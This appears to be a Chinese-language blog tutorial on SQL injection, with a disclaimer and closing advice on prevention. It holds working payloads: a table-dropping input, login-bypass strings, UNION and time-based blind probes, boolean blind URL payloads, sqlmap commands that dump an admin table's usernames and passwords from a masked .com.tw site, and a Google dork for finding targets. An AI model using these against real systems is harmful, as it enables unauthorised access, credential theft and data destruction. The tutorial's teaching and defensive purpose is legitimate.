SQL 注入从入门到入“狱”,DEMO示例

418 阅读3分钟

免责声明

本次技术分享仅用于信息安全技术的交流与学习,请勿用于其他非法用途;技术是把双刃剑,请善用它。

SQL注入

  • 注入攻击本质:用户能控制输入;程序的代码执行会拼接上用户的输入;

  • SQL 注入的危险:

    • 猜解后台数据库(这是利用最多的方式,盗取网站的敏感信息)
    • 绕过认证,列如绕过验证登录网站后台。
    • 注入可以借助数据库的存储过程进行提权等操作
  • 例子:

    String name = Request.form("name");
    String sql = "select * from user where name = '" + name +"'";
    

    正常情况用户输入 sinyu ,会正常执行:

    select * from user where name = sinyu
    

    但如果用户输入一段有语义的 SQL 语句 sinyu'; drop table user ,那么SQL执行如下:

    select * from user where name = 'sinyu'; drop table user
    
  • 万能登录钥匙

    • Android Demo:github.com/sinyu1012/A…

    • username' or '1'='1

    • Sql 中 and 优先级比 or

      select *from user where name='sinyu' or '1'='1'and psw='1wry'
      等价于:
      select *from user where name='sinyu' or ('1'='1'and psw='1wry')
      
    • 如果不知道 用户名怎么办?用 xxx' or '1'='1'--

      select *from user where name='xxx' or '1'='1'  --'and psw='syih'
      
    • 解决方案

      • 使用 占位符?,将 username' or '1=1 作为一个整体
      • 更加安全的第三方库等
  • 如何发现

  • 注入方法

    • 不只 and 1=1,布尔盲注

    • 联合查询(union)注入,适用于页面对错误或者查询信息有显示的漏洞

      select *from user where name='xxx' union select database(),user(),version()#
      

      image-20210720162814246

    • 时间盲注(判断注入:vince' and sleep(x)#

  • 进阶玩法:查数据库信息、表名、字段等

    • 例如该服务器数据库个数/名称

      ASCII 码:49 表示 1
      ​
      http://www.xxx.com.tw/about.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>49
      ​
      ​
      http://www.xxx.com.tw/about.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>50
      ​
      猜测 数据库 名第一个字符:
      1 AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>1051 AND ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>106
      
  • 自动化注入工具

  • 实战

    sqlmap.py -u http://www.xxx.com.tw/about.php?id=1
    ​
    sqlmap.py -u http://www.xxxx.com.tw/about.php?id=1 --dbs
    ​
    sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu --tables
    ​
    sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu -T admin --columns
    ​
    sqlmap.py -u http://www.xxx.com.tw/about.php?id=1 -D jiuyu_jiuyu -T admin --data -C "username,password" -dump
    ​
    python sqlmap.py -g "inurl:".php?id=1""
    
  • 一些启发以及如何规避

    • 永远不要信任用户的输入
    • 不要使用动态拼装sql
    • 采用sql注入检测工具 jsky 等
    • 检查数据类型
    • 各种框架本身就已防注入
    • SQL注入没落但没绝迹,变得更难以发现而已。主要都是框架的功劳,与程序员的水平没关系,拼接是懒惰,懒惰无处不在
    • 作为 Android 程序员,与用户的输入行为更加密切,也可多思考用户可操作部分是否存在有漏洞
    • Content Provider 安全

延伸示例

Hacker

  • 一群破坏规则、喜欢自由的人,总想找到系统漏洞,并获取 root 权限
  • 大概分为白帽、灰帽、黑帽
  • 精神与文化(不尽相同):对技术的崇拜、追求创新、热于分享
  • 脚本小子